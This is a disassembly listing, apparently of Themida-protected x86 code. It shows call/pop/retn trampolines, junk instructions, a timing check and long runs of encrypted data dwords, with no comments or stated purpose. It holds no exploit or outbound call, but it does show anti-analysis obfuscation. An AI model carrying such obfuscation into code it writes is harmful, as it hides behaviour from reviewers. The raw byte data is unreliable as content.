0FFh db 0BDh ; --------------------------------------------------------------------------- loc_5CCEAF: ; CODE XREF: Themida_:005CCE61j sbb [ecx+2Bh], dl mov cl, 2 adc bl, [esi-321DE8A4h] out 14h, al xor eax, 9006C8AAh sub [ebp+ebx*2+56h], dh mov edi, 621977A7h scasd xor al, 59h mov ebp, 8D8D080Ch sub eax, 0B406B035h jg short near ptr loc_5CCE61+1 lea edi, [ecx+6606A805h] mov edi, 85C72505h imul edx, [eax+ebp*4], 652C06h add [edx+0], ch push esi call sub_5CCEF7 and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CCEF7 proc near ; CODE XREF: Themida_:005CCEEFp arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 19h inc esi push esi retn sub_5CCEF7 endp ; --------------------------------------------------------------------------- db 13h dd 0DD7DCDF4h, 0E7816612h, 85C7090Ch, 6A80BBDh, 0 ; --------------------------------------------------------------------------- mov al, 0BCh push dword ptr [ebp+6A80E01h] movzx eax, dx call dword ptr [ebp+6A820DDh] mov esi, [ebp+6A82F81h] push 0 call dword ptr [ebp+6A81B31h] mov eax, eax jmp short loc_5CCF88 ; --------------------------------------------------------------------------- db 92h dd 90A1689Dh, 0E411EC62h, 608091Dh, 3C978420h, 0F2D0E058h dd 47A8F2B5h, 0A0C26B21h, 73A1DDB2h, 9CE67581h, 0F211F234h dd 0C835AA8Ch, 0F9F8FD2Ch, 10097572h, 0C5C671EBh, 84539A84h dd 73620118h, 0EE4AF898h, 0A239D258h ; --------------------------------------------------------------------------- loc_5CCF88: ; CODE XREF: Themida_:005CCF3Dj lea ecx, [ebp+6B0361Ah] mov ah, 17h mov [ebp+6A805B9h], ecx jnz loc_5CCFA2 mov [ebp+6A833E5h], edx loc_5CCFA2: ; CODE XREF: Themida_:005CCF96j mov dword ptr [ebp+6A81469h], 5D9Ch push 0 push edi call sub_5CCFB7 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CCFB7 proc near ; CODE XREF: Themida_:005CCFAFp arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 14h inc edi push edi retn sub_5CCFB7 endp ; --------------------------------------------------------------------------- aaa jnb loc_5CCFD4 and eax, [ebp+6A801A5h] loc_5CCFD4: ; CODE XREF: Themida_:005CCFC8j mov dword ptr [ebp+6A80BBDh], 0 or ah, 99h jmp loc_5CCFEB ; --------------------------------------------------------------------------- dw 0B477h db 7Eh, 16h, 0C0h ; --------------------------------------------------------------------------- loc_5CCFEB: ; CODE XREF: Themida_:005CCFE1j push dword ptr [ebp+6A81561h] adc eax, 50385984h call dword ptr [ebp+6A820DDh] push 0 push eax call sub_5CD008 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD008 proc near ; CODE XREF: Themida_:005CD000p arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 15h inc eax push eax retn sub_5CD008 endp ; --------------------------------------------------------------------------- dd 8D01BBEFh, 6A801ADh, 95FF006Ah, 6A81B31h, 0BEBC08Bh dd 51FDC756h, 749A87ACh, 0E9935FFBh, 1Ch, 287C79ECh, 6 dup(0) ; --------------------------------------------------------------------------- jmp loc_5CD568 ; --------------------------------------------------------------------------- db 0AFh, 88h, 0C1h dd 0F0B5DA45h, 266F09AAh, 56133FE0h, 83CE6FD0h, 19F9B807h dd 4EF13578h, 7A25612Ch, 0AC1793DAh, 0E27AC089h, 0CCACE78h dd 72B8B608h, 155CFFD5h, 3B761788h, 0FD9E01EFh, 0C93A73B0h dd 6EBFE4A9h, 8FC665CAh, 0ABE28122h, 0B5F09D06h, 7E618568h dd 0AC0791DCh, 1059FC03h, 420B298Ah, 70395BC4h, 15D07233h dd 0AFC93A73h, 7760B9E6h, 7D8F3553h, 0AF57D73Dh, 0A6E22C07h dd 9CAF57D7h, 6750193Bh, 268F5231h, 0AFD0337Dh, 43E4BDE2h dd 9F88A10Eh, 5EF69619h, 9E179467h, 0C6443DF3h, 53773E5Dh dd 1C81C870h, 3C3EAD0Bh, 0AF57F9F9h, 81CB5443h, 0BE7CC077h dd 0CD6B11CCh, 0DFD37D69h, 6B9812h, 0FFA30000h, 0EF1155Ch dd 0AA83206Dh, 5E419D0Eh, 0F029763Fh, 0D768AEB8h, 1A3BAF57h dd 3559CA57h, 0C8673370h, 71386067h, 4802FB2Ch, 0C4B0C263h dd 2312DFD6h, 1, 9F52FF04h, 294FB0F9h, 3C2A7760h, 0D7347496h dd 250EAF57h, 42072CF3h, 6B2E44DDh, 7A3F54BFh, 0D7B4E435h dd 1F268F7Ch, 0D59CBF72h, 20665F48h, 1195DC7Fh, 9B5EFF2Ah dd 3D6EB3F6h, 2946DF44h, 0EB40C76Ch, 6F22434Ah, 9CD578DBh dd 0A3EA8E17h, 6BAFD907h, 59AF57D7h, 0D7918933h, 0D873AF57h dd 76DA49EFh, 6748149Dh, 0F6278CC5h, 0D4EAF6A2h, 78ED12DFh dd 36000000h, 8E135EFFh, 96B27315h, 605952DFh, 0AEEA1CBAh dd 94AF57D6h, 278E7DBBh, 45E6EDB6h, 7011B208h, 0EB906BDCh dd 8797ADAh, 0F3302960h, 0D4591C32h, 6605EE74h, 9112892Fh dd 0DF486581h, 6D6012h, 0BABB0000h, 0D6AEEA1Ch, 0BB94AF57h dd 0DC91B27Dh, 92ADAC2Eh, 2C318DADh, 0E6861F8Ch, 8DA102AFh dd 95BA6BC8h, 278C53D0h, 0A61FF7Eh, 0CC81A2A9h, 0DA93B51Eh dd 0FFCFF45Eh, 0D23BF652h, 0D53DBE3Bh, 0E604FDB8h, 58B064A4h dd 1CF55EAFh, 0B0505797h, 4CBAAF58h, 0D590BD26h, 73B75F48h dd 51AF58B0h, 58D9B2E6h, 0DF0F6E5Ah, 18912h, 0FF920000h dd 12931059h, 72F53A73h, 0B7D1D859h, 119ED776h, 209B2F18h dd 3093378Ch, 0C0D94603h, 0E1788268h, 0A3B5FFE3h, 92345288h dd 0B5FFE496h, 662B4B6Ch, 0A1F7E039h, 8BC261C2h, 0B8F1943Fh dd 0E3B5F37Bh, 0DB01B5FFh, 991F5AF8h, 0DB7A8122h, 0BCCE7492h dd 0B5FFE47Ch, 0C14BED46h, 50FE3F5Eh, 6BF73C15h, 0DABE688h dd 65CA83A2h, 8E369ABCh, 692CCCE7h, 0D44DD2CBh, 0FFBBF8B1h dd 0F150DF40h, 0B1D4DB44h, 1E0AA2F8h, 0F914777Bh, 12Fh dd 0DFDF4983h, 38AF219Fh, 36625B16h, 0EB5E7EDh, 723AED8h dd 36E1B600h, 5C1538E9h, 9EBF20CEh, 0BBDA45D3h, 4AEBD4F2h dd 17819A07h, 148EBB4h, 0EFB01D9Ch, 0BE0C45E8h, 77E6221Eh dd 3547ED14h, 0EA18785Ah, 49418908h, 3BB5FFE4h, 587A9810h dd 0CD000000h, 0DF0BB6E7h, 57D74DADh, 971C372Fh, 0A1C22D4Bh dd 0D6E622ECh, 0FBDC2F57h, 9A931059h, 0B9F177A1h, 0FF2F57D6h dd 5B9DDF40h, 441F511h, 8205937Bh, 8F709611h, 430A2EE3h dd 4FD4CDDEh, 0F610DA5Eh, 0AF587192h, 0A543C770h, 70CDCD7Fh dd 9CB7AF58h, 85B31Ch, 0E7960000h, 81B9C3B5h, 43AF57D7h dd 111A1EE8h, 0D11E4258h, 0E5B8C2F8h, 0DFB60102h, 0B1E913B9h dd 93B60102h, 31A1EB8h, 4FE8B601h, 0B21DC956h, 0D25DDB92h dd 3ACFAB3h, 42842960h, 0B6010441h, 337D268Dh, 4377395h dd 9F29B601h, 0B601049Bh, 133CCE69h, 327B1A85h, 5AE153F4h dd 3A491AACh, 0DD1FBCB1h, 12D0E1A2h, 0C977A1D6h, 3D60C16Eh dd 83282F74h, 0A2910322h, 4962CF86h, 4310AA50h, 1C3614Dh dd 0E7AB9016h, 0AED80EB5h, 0B6080D95h, 0D773014Bh, 0E1FC52E3h dd 441A16E9h, 96025873h, 0C162CF68h, 8BCE63A2h, 8E1CF526h dd 0A6C70625h, 7C5546EBh, 0D73F3737h, 9456E4D4h, 640CF642h dd 0B6E2F453h, 2E4D54DDh, 0E3254367h, 0E4D4F9A7h, 3151B29Dh dd 0B2E6377Ch, 5C467C8h, 0E9362F66h, 0D25F1A38h, 6A85D70Fh dd 0F853E8B4h, 54DDB6E2h, 23672E4Dh, 7C1CDD80h, 0BD75C35h dd 6CCC85A8h, 3E3h, 0CBB0C600h, 8C1158FFh, 0F4397013h dd 0E340092Bh, 0C06D2042h, 2E733E5Fh, 1499D475h, 7DA2E78Bh dd 60CD84A4h, 4AD792BFh, 45368FAh, 0C890000h, 0E7895724h dd 4C781h, 0EF830000h, 243C8704h, 241C895Ch, 81E38953h dd 4C3h, 4EB8100h, 87000000h, 895C241Ch, 6856240Ch, 64D72BC0h dd 0C6814E5Eh, 69CB0A5Dh, 0FFCCBD55h, 0EE29C7F1h, 5EF3895Dh dd 240C8B54h, 5604C483h, 8952DE89h, 85189F2h, 0C8B5E5Ah dd 0E6895624h, 4C681h, 0C6830000h, 24348704h, 2434FF5Ch dd 4C4815Bh, 0E9000000h, 0FFF8426Eh, 21CB5B5Ah, 62E9DEC7h ; --------------------------------------------------------------------------- loc_5CD568: ; CODE XREF: Themida_:005CD058j mov eax, 6B03AD4h add eax, ebp jmp eax ; --------------------------------------------------------------------------- db 0E8h, 0BAh, 0D5h dd 0A27D66Dh, 94CB3010h, 9363AA71h, 0D9867119h, 7B9B770Bh dd 3591AF08h, 74D83E66h, 6B48775h, 3224C04h, 719B0601h dd 0CEF77C2Bh, 59AD8056h, 8B48F107h, 7CD3BF5Bh, 84455372h dd 78491B13h, 0ACAF050Ah, 0F9654D18h, 0DDD3D34Ah, 8564B661h dd 9960D57h, 10EB18h, 3 dup(0) dd 8B000000h, 6860FC0h, 81000000h, 5F38CCE6h, 0D9BD830Ah dd 6A81Eh, 0BD830975h, 6A82DE9h, 50197400h, 0B8C08B53h dd 42Dh, 7B58589h, 9D8D06A8h, 6AAA1ACh, 585BD3FFh, 2DE9BD83h dd 740006A8h, 0B8535017h, 42Dh, 7B58589h, 9D8D06A8h, 6AA9E9Bh dd 585BD3FFh, 8166CEB6h, 8BDF83F6h, 52006AC0h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 1AB67F7h, 43D38833h dd 6E960E5h, 0B5000000h, 502E388Fh, 0EF8166E1h, 29612BF9h dd 0A8307185h, 58D8B06h, 6606A828h, 0E9A59FBAh, 12h, 25083EF6h dd 513DA8E8h, 50CB1C6Ch, 94561504h, 0F9839A9Bh, 0B1840F00h dd 8B000000h, 0A8167595h, 0F08B6606h, 2C3D8B64h, 66000000h dd 7891DA81h, 840FFF0Bh, 94h, 6A3F8Bh, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 7F0EB2C3h dd 0DAD63271h, 89360034h, 0A833B595h, 6AC03206h, 3E85300h dd 20000000h, 895BC35Bh, 8104245Ch, 1A042444h, 43000000h dd 9F8EC353h, 0F2C7D525h, 10E992h, 0F3870000h, 0C54E937Dh dd 4D4C64DCh, 8B586D34h, 0AAF3D627h, 5E860h, 95800000h dd 0E98F5D0Bh, 14h, 0AE296CECh, 496487E6h, 380C927Ah, 3FCECC05h dd 710DF218h, 850F58h, 61000000h, 50414935h, 81665353h dd 5A8733D2h, 15D585C6h, 6A4706A8h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 18042444h, 42000000h, 0C737C352h dd 0F231C84h, 689h, 55958900h, 6806A832h, 0DB3A559Eh, 81D68B66h dd 0DDB22434h, 0B52907ECh, 6A83335h, 1C09958Bh, 0B5FF06A8h dd 6A80F95h, 1E9B58Bh, 858D06A8h, 6AB6971h, 0FFF28B66h dd 0DB589D0h, 8906A828h, 0A8174985h, 0A5BA6606h, 21B58B6Dh dd 0C606A831h, 0A815D585h, 0B58B5306h, 6A80D39h, 4E68F48Ah dd 0BEC92651h, 63505B58h, 0B2243481h, 6641BE3Bh, 5E9D78Bh dd 0FB000000h, 0FC21FE3Bh, 0F95B5FFh, 0BD8906A8h, 6A82565h dd 2FFD958Bh, 858D06A8h, 6AB6971h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 14h, 36C35141h, 8DFCD0FFh, 0AB2EF385h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h dd 0C3554500h, 0CE8002C2h, 0F6B70F84h, 898589F8h, 6A06A80Fh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 19042444h dd 43000000h, 0D31FC353h, 0B2BE7388h, 30ADB58Bh, 206A06A8h dd 95FFFF6Ah, 6A80F89h, 50414935h, 0E585C753h, 106A81Fh dd 0C7000000h, 0A820D585h, 6, 0D0BF0F00h, 0E851006Ah, 3 dd 59C35920h, 4244C89h, 4244481h, 1Ch, 0BC35141h, 6346E4A4h dd 0E53D147Ah, 0FE9h, 0B7F10800h, 0C16F4817h, 0C8219241h dd 42EC0518h, 858B1EB2h, 6A81EADh, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Ah, 0BEC35141h, 0C4A77263h, 820F2F17h dd 6, 3015958Bh, 0A36406A8h, 0 ; --------------------------------------------------------------------------- push 0 push edi call sub_5CD93B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CD93B proc near ; CODE XREF: Themida_:005CD933p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5CD93B endp ; --------------------------------------------------------------------------- db 0F2h ; --------------------------------------------------------------------------- inc edi sub edx, [ebx] mov cs:[ebp+6A813F5h], edi jmp loc_5CD96F ; --------------------------------------------------------------------------- db 0A1h dd 9003B74Dh, 9262C634h, 0BC0F90C4h, 0F18ADC43h ; --------------------------------------------------------------------------- add [ecx], edi aaa loc_5CD96F: ; CODE XREF: Themida_:005CD956j cmp dword ptr [ebp+6A80061h], 0 jz loc_5CD998 pusha stc mov esi, [ebp+6A80C89h] popa mov eax, [ebp+6A82589h] mov esi, 70F82B8Eh mov esp, eax add [ebp+6A814F5h], ecx loc_5CD998: ; CODE XREF: Themida_:005CD976j cmp dword ptr [ebp+6A8276Dh], 0 jnz loc_5CDD41 call loc_5CD9BB and edx, edx sub [ebp+7Bh], dl call near ptr 4F079162h ; --------------------------------------------------------------------------- dd 0A002DEFEh db 0F2h, 0E5h, 44h ; --------------------------------------------------------------------------- loc_5CD9BB: ; CODE XREF: Themida_:005CD9A5p mov edx, [ebp+6A82545h] pop esi mov byte ptr [ebp+6A815D5h], 56h push 590AA798h mov edx, 75612BD7h add dword ptr [esp], 50BA8947h movzx esi, bx push dword ptr [ebp+6A80F95h] stc lea eax, [ebp+6AB6971h] call eax movsx esi, bx nop mov dx, 7DADh push eax mov esi, edi nop mov si, di lea ecx, [ebp+6A82CD9h] xchg eax, ecx push edx push eax push edx mov dx, cx rdtsc pop edx pop eax pop esi push eax pusha jmp loc_5CDA22 ; --------------------------------------------------------------------------- dd 228B9500h, 14FF747Eh, 19A314A0h db 0ECh, 0F6h ; --------------------------------------------------------------------------- loc_5CDA22: ; CODE XREF: Themida_:005CDA0Fj mov dh, 0CDh popa xchg eax, ecx mov edx, [ebp+6A8152Dh] push 4 mov edx, [ebp+6A80511h] call sub_5CDA3D add [eax], dl ; --------------------------------------------------------------------------- db 0 db 0 ; =============== S U B R O U T I N E ======================================= sub_5CDA3D proc near ; CODE XREF: Themida_:005CDA34p push eax mov dx, bx mov eax, [esp+4] mov dl, bh mov eax, [eax] jmp loc_5CDA57 ; --------------------------------------------------------------------------- dw 0E4A0h dd 8D40D9B2h db 0F8h, 0E9h, 0B4h ; --------------------------------------------------------------------------- loc_5CDA57: ; CODE XREF: sub_5CDA3D+Cj mov [esp+4], eax jmp loc_5CDA71 ; --------------------------------------------------------------------------- dd 0B97C9533h, 861363D5h, 7EEA76FFh, 4029768Ch db 0BDh ; --------------------------------------------------------------------------- loc_5CDA71: ; CODE XREF: sub_5CDA3D+1Ej pop eax pusha or [ebp+6A83345h], esi popa push dword ptr [ebp+6A831D5h] movzx esi, ax call eax jmp loc_5CDA9A ; --------------------------------------------------------------------------- dw 0B0AEh dd 0A276A784h, 0B22AA04Ah, 0D51D58EFh db 0AFh, 0ECh ; --------------------------------------------------------------------------- loc_5CDA9A: ; CODE XREF: sub_5CDA3D+48j mov edi, [ebp+6A831D5h] jz loc_5CDAA9 movsx edx, si loc_5CDAA9: ; CODE XREF: sub_5CDA3D+63j add edi, [edi+3Ch] push 0 push edi call sub_5CDAB7 and [edi-3Dh], bl sub_5CDA3D endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5CDAB7 proc near ; CODE XREF: sub_5CDA3D+72p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 18h inc edi push edi retn sub_5CDAB7 endp ; --------------------------------------------------------------------------- db 0D7h dd 279A807Fh, 11B52960h, 5106A831h, 1E0D958Bh, 615F06A8h dd 8342D281h, 0C78164E2h, 0F8h, 34DA8166h, 2447C7D9h, 60000020h dd 83D6B70Fh, 0B03BBEBDh, 840F0006h, 164h, 28C783F5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 90C35141h, 0D2635E5Fh dd 7C70C02h, 64696A2Eh, 0FE8h, 14B1AE00h, 567C7C82h, 0DD41726Dh dd 0B481500Eh, 3C1BDA81h, 0C75A0967h, 74610447h, 0CE90061h dd 0D2000000h, 733E83BEh, 9B134694h, 8B772B0Bh, 0B03BC685h dd 0B70F6006h, 6800FF6h, 89000000h, 0A80CA18Dh, 0B58B6106h dd 6A82AE9h, 890C4789h, 0A81D6985h, 0CA858B06h, 8B06B03Bh dd 0A8335D95h, 89D38B06h, 6A0847h, 3E850h, 58200000h, 448958C3h dd 44810424h, 140424h, 50400000h, 0C783A5C3h, 12E928h dd 0C9E30000h, 0BFEC30C8h, 25398A4h, 61C74A43h, 0D9ECEACCh dd 632E07C7h, 6A6E6Fh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 1D0424h, 56460000h, 73A089C3h, 0D68B99D6h, 8BFB5941h dd 0C1B503D7h, 0C706A819h, 69660447h, 0BD890067h, 6A80515h dd 3BC2858Bh, 606006B0h, 2C798D89h, 9E906A8h, 8000000h dd 0EF5A60ABh, 0D70CDFB0h, 61C18A61h, 8B0C4789h, 0A826A5B5h dd 0CE906h, 0BF9B0000h, 56ED9B5Dh, 0A56AC49Ch, 858B1F24h dd 6B03BBEh, 27192EBEh, 8478975h, 2840Fh, 0D08B0000h, 0F59D3157h dd 5E06A81Fh, 56006A58h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 0BC7C42E5h, 8DB58B3Eh, 8D06A80Fh dd 0A800758Dh, 50006A06h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1904h, 0C3504000h, 28520F86h, 50508CD5h dd 0C88A6052h, 0F615A53h, 12E931h, 0C67F0000h, 8279D4Bh dd 0DB339AE4h, 5D5E71F3h, 9A85AF64h, 0C89585Ah, 0FFF18B24h dd 0A82CD9B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 635387EBh, 8BE418F1h dd 0CAF281F3h, 680CF0E1h, 3574A0C6h, 28F0F60h, 8B000000h dd 5F5153C3h, 34816158h, 74B0C624h, 21BD0135h, 6606A81Ch dd 0B5FFD68Bh, 6A831D5h, 39D9B9BAh, 8BD0FF58h db 0F0h ; --------------------------------------------------------------------------- loc_5CDD41: ; CODE XREF: Themida_:005CD99Fj mov eax, 0 push 0 push edi call sub_5CDD51 and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CDD51 proc near ; CODE XREF: Themida_:005CDD49p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 15h inc edi push edi retn sub_5CDD51 endp ; --------------------------------------------------------------------------- db 0EEh, 0C1h, 56h ; --------------------------------------------------------------------------- mov [ebp+6A82AC5h], edx pop esi or eax, eax jz loc_5CDDB5 mov edx, [ebp+6A80A95h] mov edx, [ebp+6A831D1h] push dword ptr [ebp+6A80D6Dh] mov esi, 35E0925Fh call dword ptr [ebp+6A820DDh] push 0 push edx call sub_5CDD9B and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CDD9B proc near ; CODE XREF: Themida_:005CDD93p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Ch inc edx push edx retn sub_5CDD9B endp ; --------------------------------------------------------------------------- db 0F1h dd 7B3A095Fh, 7C9B8627h ; --------------------------------------------------------------------------- cld loc_5CDDB5: ; CODE XREF: Themida_:005CDD6Dj mov eax, eax push 0 push eax call sub_5CDDC2 and [eax-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CDDC2 proc near ; CODE XREF: Themida_:005CDDBAp arg_4 = dword ptr 8 pop eax mov [esp-4+arg_4], eax add [esp-4+arg_4], 18h inc eax push eax retn sub_5CDDC2 endp ; --------------------------------------------------------------------------- dw 0C16Ch ; --------------------------------------------------------------------------- mov al, ds:9D896D3Bh or ds:8D8906A8h, ecx dec ebp push gs push es cmp dword ptr [ebp+6A81ED9h], 0 jnz short loc_5CDDF5 cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_5CDE0E loc_5CDDF5: ; CODE XREF: Themida_:005CDDEAj push eax push ebx mov eax, eax mov eax, 42Dh mov [ebp+6A80FD5h], eax lea ebx, [ebp+6AAA213h] call ebx pop ebx pop eax loc_5CDE0E: ; CODE XREF: Themida_:005CDDF3j cmp dword ptr [ebp+6A82DE9h], 0 jz short loc_5CDE2E push eax push ebx mov eax, 42Dh mov [ebp+6A80FD5h], eax lea ebx, [ebp+6AA9EB4h] call ebx pop ebx pop eax loc_5CDE2E: ; CODE XREF: Themida_:005CDE15j mov [ebp+6A81A59h], ebx mov si, 16C3h mov eax, eax jno loc_5CDE58 jmp loc_5CDE58 ; --------------------------------------------------------------------------- align 2 dw 9810h dd 4D98CEEFh db 28h, 56h ; --------------------------------------------------------------------------- loc_5CDE4E: ; CODE XREF: Themida_:005CDE5Fj mov eax, ds:0D55993B6h sbb dword ptr [edi-55h], 0FFFFFFD9h outsd loc_5CDE58: ; CODE XREF: Themida_:005CDE3Aj ; Themida_:005CDE40j mov eax, eax call near ptr loc_5CDE63+5 jz short loc_5CDE4E dec ecx xchg eax, ecx loc_5CDE63: ; CODE XREF: Themida_:005CDE5Ap imul esi, [ecx+74h], 8B562E68h rcr byte ptr [ecx+5Fh], 1 mov ebx, [ebp+6A80B3Dh] add edi, 6D8Ah movsx ecx, si mov esi, 79ADA594h add esi, 865275ABh mov [ebp+6A82CE5h], edi loc_5CDE8D: ; CODE XREF: Themida_:005CDEE5j push dword ptr [edi] sbb bl, 0F8h pop eax mov ecx, eax sub eax, 5A5D76F5h pusha mov esi, [ebp+6A820C9h] jl loc_5CDEAE or edi, [ebp+6A8297Dh] loc_5CDEAE: ; CODE XREF: Themida_:005CDEA2j popa add eax, 22E1D62Eh jno loc_5CDEBE adc ch, 71h loc_5CDEBE: ; CODE XREF: Themida_:005CDEB5j add eax, 222C080Bh mov ecx, edx mov [edi], eax jmp loc_5CDED6 ; --------------------------------------------------------------------------- db 0E6h, 2Dh, 0E9h dd 7FBC4B97h db 0DFh, 5 ; --------------------------------------------------------------------------- loc_5CDED6: ; CODE XREF: Themida_:005CDEC8j sub edi, 4 mov [ebp+6A81449h], edx sub esi, 1 jnz loc_5CDE8D add [ebp+6A82295h], eax lea ecx, [ebp+6B045FEh] jmp loc_5CDF03 ; --------------------------------------------------------------------------- jno short loc_5CDF5D mov [eax-73h], esi cwde loc_5CDF03: ; CODE XREF: Themida_:005CDEF7j mov [ebp+6A805B9h], ecx push 0 push ebx call sub_5CDF14 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CDF14 proc near ; CODE XREF: Themida_:005CDF0Cp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 16h inc ebx push ebx retn sub_5CDF14 endp ; --------------------------------------------------------------------------- dd 8B22A18Ah, 0A80B69B5h, 6985C706h, 6406A814h, 6A000074h dd 3E85000h, 20000000h, 8958C358h, 81042444h, 18042444h dd 40000000h, 0DD8FC350h, 0E9FB89BCh, 6 db 83h ; --------------------------------------------------------------------------- loc_5CDF5D: ; CODE XREF: Themida_:005CDEFCj sub ecx, edi idiv edx out dx, eax mov dword ptr [ebp+6A80BBDh], 0 push 0 push edx call sub_5CDF77 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CDF77 proc near ; CODE XREF: Themida_:005CDF6Fp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Bh inc edx push edx retn sub_5CDF77 endp ; --------------------------------------------------------------------------- db 25h ; --------------------------------------------------------------------------- wait aad 9Dh shl edi, 32h mov esp, 0D41B5FFh test al, 6 push 0 push edx call sub_5CDFA0 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CDFA0 proc near ; CODE XREF: Themida_:005CDF98p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 1Dh inc edx push edx retn sub_5CDFA0 endp ; --------------------------------------------------------------------------- cmpsd leave test [esi-32AE5325h], ch cwde add cl, [ebx-57F9D27Bh] push es pusha mov eax, [ebp+6A832ADh] mov edi, [ebp+6A828A9h] popa call dword ptr [ebp+6A820DDh] push 0 push ecx call sub_5CDFDF and [ecx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_5CDFDF proc near ; CODE XREF: Themida_:005CDFD7p arg_4 = dword ptr 8 pop ecx mov [esp-4+arg_4], ecx add [esp-4+arg_4], 1Ch inc ecx push ecx retn sub_5CDFDF endp ; --------------------------------------------------------------------------- db 0AFh dd 754363C5h, 32BD71D0h, 1F099D89h, 858906A8h, 6A807CDh dd 95FF006Ah, 6A81B31h, 7CEBC08Bh, 80B36335h, 38DEF44Eh dd 70894317h, 0BF66644Eh, 813A0F7Eh, 0AC8A597Eh, 0EF6AB616h dd 0BE804340h, 0CB2C0EA1h, 29F951C0h, 69C59DB1h, 46807B6Dh dd 1B65EA77h, 4FBEE627h, 5CB78012h, 110717CCh, 4F9AD8CDh dd 0B893273Eh, 0A1F0C024h, 87602E08h, 7CBA3A0Eh, 79723574h dd 0D1BDB1Bh, 0A84D1880h, 959CFDA8h, 4F1A31CFh, 0E75B76BEh dd 0F4BBC2FCh, 7528F235h, 15ABBBB7h, 7D69B573h, 472F8D8Dh dd 6A06B0h, 3E850h, 58200000h, 448958C3h, 44810424h, 140424h dd 50400000h, 8D893CC3h, 6A805B9h, 0C7FE8B66h, 0A8146985h dd 59F406h, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1804h, 0C3514100h, 0FDB91486h, 0BD85C7A3h, 6A80Bh, 6A000000h dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 15042444h dd 42000000h, 0C4F6C352h, 3509B5FFh, 0F58A06A8h, 20DD95FFh dd 6A06A8h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h dd 51410000h, 9F9C7FC3h, 0FF006A63h, 0A81B3195h, 0EBC08B06h dd 0CC053868h, 0F2183FCEh, 4A50710Dh, 71531DF6h, 959EA0BEh dd 0D1719CB9h, 0CB16CBCAh, 0A6F98412h, 0DB640941h, 0CBF04AD2h dd 11DE3FE4h, 0F357F0E6h, 6A0612CDh, 0B0B4619Fh, 7B45196Ah dd 0EBA16578h, 0CAD94C90h, 0B3745243h, 8BD68543h, 1255F9F5h dd 7597C3BEh, 7EA9AD9Ch, 0FE3F44B1h, 8D5B445Dh, 9BBDD071h dd 7FC9000Dh, 128D8D82h, 306B048h, 0A82DED9Dh, 0B98D8906h dd 0E806A805h, 7, 0AE6C9B56h, 0F9982313h, 6985C75Bh, 0C406A814h dd 0B3000067h, 0BD85C78Fh, 6A80Bh, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 14042444h, 47000000h dd 12FC357h, 0A824E5BDh, 15B5FF06h, 8B06A809h, 0A81DE59Dh dd 0DD95FF06h, 6606A820h, 0A64ED281h, 95FF006Ah, 6A81B31h dd 5FEBC08Bh, 69CA5FDCh, 0F9E7CE84h, 0BC11F4F7h, 6864C8FDh dd 0B20230FEh, 8ACA3677h, 0C4339D7Fh, 93C11113h, 0DFBD2D2h dd 22137FE0h, 0C66B85F6h, 0B18197AFh, 6B4E41E5h, 0AAE19B91h dd 0E4415BC8h, 63AE3C4Dh, 108AF5A2h, 0BF78C522h, 0AB2DE850h dd 3E902D97h, 8C019A62h, 716FF863h, 0FED7F782h, 0E86A70A5h dd 0Fh, 6744198Bh, 0A7E0A52Eh, 64FF04C2h, 357DF41h, 0A8225195h dd 0C1815906h, 6966h, 6840Fh, 95890000h, 6A82E0Dh, 1A3368h dd 95895600h, 6A81101h, 858B5B5Ah, 6A82EC5h, 0CAB4318Bh dd 0A941F681h, 8F0F76CBh, 6, 14C98529h, 0C68106A8h, 679A722Eh dd 864379BFh, 5FF68115h, 891D185Ch, 0A8208995h, 0BD895606h dd 6A80BD5h, 858B018Fh, 6A81721h, 0BD4EE981h, 81664E0Ah dd 817CDCC8h, 0ABD4AC1h, 1BD8B4Eh, 8106A810h, 1EBh, 0A1850F00h dd 66FFFFFFh, 0EBFB8Bh, 3BAE9h, 0F1B8DF00h, 20650AB5h dd 561F399Ah, 86C36FD0h, 0B3FE9F00h, 49C9E877h, 7E216528h 